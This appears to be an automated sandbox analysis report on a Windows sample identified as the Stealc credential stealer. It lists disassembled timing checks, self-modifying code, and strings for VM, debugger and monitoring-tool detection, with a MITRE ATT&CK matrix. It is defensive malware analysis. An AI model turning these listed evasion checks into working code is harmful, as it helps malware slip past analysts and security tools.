Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828D0A second address: 828D10 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C4E3 second address: 82C4E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833CF9 second address: 833D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF7Dh 0x00000009 popad 0x0000000a jbe 00007F5ED52EEF8Eh 0x00000010 pushad 0x00000011 jns 00007F5ED52EEF76h 0x00000017 ja 00007F5ED52EEF76h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834866 second address: 83487C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF480h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83487C second address: 834882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834882 second address: 834886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C4F8 second address: 83C4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84961F second address: 849633 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF480h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8497FB second address: 849805 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5ED52EEF76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84D13B second address: 84D145 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8543EB second address: 85442D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF83h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F5ED52EEF83h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5ED52EEF83h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8592BB second address: 859301 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5ED4EAF476h 0x00000008 jmp 00007F5ED4EAF47Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F5ED4EAF487h 0x00000014 push edi 0x00000015 push edi 0x00000016 pop edi 0x00000017 jmp 00007F5ED4EAF47Fh 0x0000001c pop edi 0x0000001d popad 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859301 second address: 859314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF7Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859314 second address: 859321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85DBAF second address: 85DBC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FB9 second address: 862FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FBD second address: 862FC9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5ED52EEF76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FC9 second address: 862FDE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5ED4EAF480h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868731 second address: 86874E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5ED52EEF80h 0x00000008 js 00007F5ED52EEF76h 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8688C0 second address: 8688C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8688C9 second address: 8688CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8688CF second address: 8688DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF47Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868A3E second address: 868A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868BAF second address: 868BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868BB5 second address: 868BD1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5ED52EEF84h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D55 second address: 868D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007F5ED4EAF476h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D67 second address: 868D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D6D second address: 868D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F5ED4EAF478h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D7A second address: 868D7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8691B1 second address: 8691CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF483h 0x00000007 jo 00007F5ED4EAF47Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FE47 second address: 86FE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FE50 second address: 86FE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F5ED4EAF482h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FE69 second address: 86FE6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FE6F second address: 86FE79 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5ED4EAF476h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FE79 second address: 86FE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jne 00007F5ED52EEF76h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C992 second address: 87C99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F5ED4EAF476h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C99F second address: 87C9A9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5ED52EEF7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7886CE second address: 7886D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E231 second address: 87E235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E235 second address: 87E24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jo 00007F5ED4EAF476h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88B1EF second address: 88B203 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF7Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D64F second address: 89D655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D655 second address: 89D66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F5ED52EEF7Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D92B second address: 89D931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D931 second address: 89D93F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F5ED52EEF76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89DF32 second address: 89DF37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89DF37 second address: 89DF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF81h 0x00000009 jne 00007F5ED52EEF76h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F5ED52EEF7Ah 0x00000019 pushad 0x0000001a popad 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e pushad 0x0000001f jo 00007F5ED52EEF76h 0x00000025 push edx 0x00000026 pop edx 0x00000027 jmp 00007F5ED52EEF7Fh 0x0000002c popad 0x0000002d push edi 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E0E3 second address: 89E0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E0E9 second address: 89E0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E270 second address: 89E276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E276 second address: 89E27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E27A second address: 89E284 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5ED4EAF476h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FE36 second address: 89FE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF7Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A13CC second address: 8A13D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3F78 second address: 8A3F96 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5ED52EEF76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F5ED52EEF78h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4185 second address: 8A419D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF484h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0249 second address: 4EF024F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 611B71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7B914C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 83E6B6 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_003BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_003BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_003BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_003C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_003BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_003C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003B16D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003B1160 GetSystemInfo,ExitProcess,

0_2_003B1160

Source: file.exe, file.exe, 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2239077197.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware]&/
Source: file.exe, 00000000.00000002.2239077197.00000000011B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: file.exe, 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13578
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13581
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13599
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13633
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13593

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003B45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_003B45C0

Source: C:\Users\user\Desktop\file.exe

0_2_003C9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C9750 mov eax, dword ptr fs:[00000030h]

0_2_003C9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_003C7850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5476, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_003C9600

Source: file.exe, 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: MProgram Manager
Source: file.exe	Binary or memory string: MProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_003C7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_003C6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_003C7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_003C7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2197795166.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5476, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2197795166.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5476, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
